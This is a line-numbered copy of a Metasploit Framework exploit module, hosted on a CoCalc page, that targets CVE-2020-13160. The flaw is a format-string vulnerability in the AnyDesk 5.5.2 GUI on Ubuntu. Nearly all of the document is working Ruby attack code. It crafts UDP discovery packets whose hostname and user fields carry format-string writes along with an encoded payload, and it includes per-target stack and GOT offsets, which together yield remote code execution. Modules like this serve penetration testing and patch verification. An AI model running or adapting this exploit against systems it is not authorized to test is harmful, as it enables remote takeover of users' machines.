CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/misc/cve_2020_13160_anydesk.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Auxiliary::Report
10
include Msf::Exploit::Remote::Udp
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'AnyDesk GUI Format String Write',
17
'Description' => %q{
18
The AnyDesk GUI is vulnerable to a remotely exploitable format string vulnerability. By sending a specially
19
crafted discovery packet, an attacker can corrupt the frontend process when it loads or refreshes. While the
20
discovery service is always running, the GUI frontend must be started to trigger the vulnerability. On
21
successful exploitation, code is executed within the context of the user who started the AnyDesk GUI.
22
},
23
'Author' => [
24
'scryh', # vulnerability discovery and original exploit
25
'Spencer McIntyre' # metasploit module
26
],
27
'License' => MSF_LICENSE,
28
'References' => [
29
[ 'CVE', '2020-13160' ],
30
[ 'URL', 'https://devel0pment.de/?p=1881' ]
31
],
32
'Payload' => {
33
'Space' => 512,
34
'BadChars' => "\x00\x25\x26"
35
},
36
'Platform' => 'linux',
37
'Arch' => ARCH_X64,
38
'DefaultOptions' => {
39
'CPORT' => 50001,
40
'PrependFork' => true,
41
'WfsDelay' => 10
42
},
43
'Notes' => {
44
'Stability' => [ CRASH_SERVICE_DOWN ],
45
'SideEffects' => [ SCREEN_EFFECTS ],
46
'Reliability' => [ UNRELIABLE_SESSION ]
47
},
48
'Targets' => [
49
[
50
'Anydesk 5.5.2 Ubuntu 20.04 x64',
51
{ 'stkref1' => 109, 'stkref2' => 125, '[email protected]' => 0x119ddc0 - 139 }
52
],
53
[
54
'Anydesk 5.5.2 Ubuntu 18.04 x64',
55
{ 'stkref1' => 93, 'stkref2' => 165, '[email protected]' => 0x119ddc0 - 135 }
56
]
57
],
58
'DefaultTarget' => 0,
59
'DisclosureDate' => '2020-06-16'
60
)
61
)
62
63
register_options([
64
Opt::RPORT(50001)
65
])
66
register_advanced_options([
67
OptAddressLocal.new('SRVHOST', [ true, 'The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.', '0.0.0.0' ]),
68
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 50001 ])
69
])
70
end
71
72
def build_discover_packet(hn, user, inf, func)
73
buf = "\x3e\xd1\x01"
74
buf << [4919].pack('N')
75
buf << [0].pack('N')
76
buf << "\x02\x01" # os
77
buf << [hn.length].pack('N') << hn
78
buf << [user.length].pack('N') << user
79
buf << [0].pack('N')
80
buf << [inf.length].pack('N') << inf
81
buf << "\x00"
82
buf << [func.length].pack('N') << func
83
buf << "\x02\xc3\x51"
84
end
85
86
def discover
87
server_sock = Rex::Socket::Udp.create(
88
'LocalHost' => datastore['SRVHOST'],
89
'LocalPort' => datastore['SRVPORT'],
90
'Context' => {
91
'Msf' => framework,
92
'MsfExploit' => self
93
}
94
)
95
96
client_sock = connect_udp(false, {
97
'RPORT' => datastore['RPORT'],
98
'CPORT' => 0
99
})
100
client_sock.put(build_discover_packet(rand_text_alpha(rand(5..9)), rand_text_alpha(rand(5..9)), 'ad', 'main'))
101
102
timeout = 10
103
while timeout > 0
104
start_time = Time.now
105
response, host, = server_sock.recvfrom(8192, timeout)
106
break if host == datastore['RHOST']
107
108
timeout = Time.now - start_time
109
end
110
111
return nil unless response[0..2].bytes == [0x3e, 0xd1, 0x01]
112
return nil unless response[11] == "\x02"
113
114
disconnect_udp(client_sock)
115
server_sock.close
116
117
hostname = response[17..17 + response[13..16].unpack1('N')]
118
report_host(host: datastore['RHOST'], name: hostname)
119
120
{
121
hostname: hostname,
122
os: response[12] == "\x02" ? :linux : nil
123
}
124
end
125
126
def check
127
info = discover
128
return CheckCode::Safe if info.nil?
129
130
CheckCode::Detected("Remote hostname: #{info[:hostname]}")
131
end
132
133
def bad_unicode
134
[ rand(0x80..0x90), rand(0..0xff) ].pack('CC')
135
end
136
137
def exploit
138
info = discover
139
fail_with(Failure::NotVulnerable, 'Discovery failed to detect the AnyDesk service') if info.nil?
140
fail_with(Failure::NoTarget, 'Discovery determined the remote host OS is incompatible') unless info[:os] == :linux
141
142
print_status("Discovered the remote service (hostname: #{info[:hostname]}, os: #{info[:os]})")
143
144
connect_udp
145
146
hn = "#{bad_unicode}%1$*1$x%18x%#{target['stkref2']}$ln"
147
hn << payload.encoded
148
udp_sock.put(build_discover_packet(hn, "#{bad_unicode}%#{target['[email protected]']}x%#{target['stkref1']}$ln", 'ad', 'main'))
149
print_status('Sent exploit frame, waiting for the GUI to refresh to trigger the vulnerability...')
150
ensure
151
disconnect_udp
152
end
153
end
154
155